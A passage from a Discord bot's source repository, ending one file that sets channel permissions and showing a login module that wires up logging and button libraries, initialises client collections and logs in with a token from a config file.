['MANAGE_CHANNELS'], 107 | }, 108 | { 109 | id: user.guild.id, 110 | allow: ['VIEW_CHANNEL'], 111 | }, 112 | ]); 113 | }) 114 | } 115 | } 116 | 117 | 118 | 119 | module.exports = tempo 120 | 121 | 122 | -------------------------------------------------------------------------------- /util/login.js: -------------------------------------------------------------------------------- 1 | const { readdirSync} = require('fs'); 2 | 3 | 4 | 5 | const login = (client) => { 6 | const Discord = require("discord.js") 7 | const logs = require('discord-logs'); 8 | logs(client) 9 | const disbut = require('discord-buttons'); 10 | disbut(client); 11 | const tempo = require("./gestion/tempo.js"); 12 | tempo(client) 13 | 14 | client.config = require("../config.json") 15 | client.cooldown = new Array(); 16 | client.interaction = {} 17 | client.guildInvites = new Map(); 18 | client.queue = new Map(); 19 | client.commands = new Discord.Collection() 20 | client.aliases = new Discord.Collection() 21 | client.snipes = new Map() 22 | client.inter = new Array() 23 | 24 | 25 | client.login(client.config.token) 26 | 27 | } 28 | 29 | 30 | 31 | module.exports = { 32 | 33 | login 34 | } --------------------------------------------------------------------------------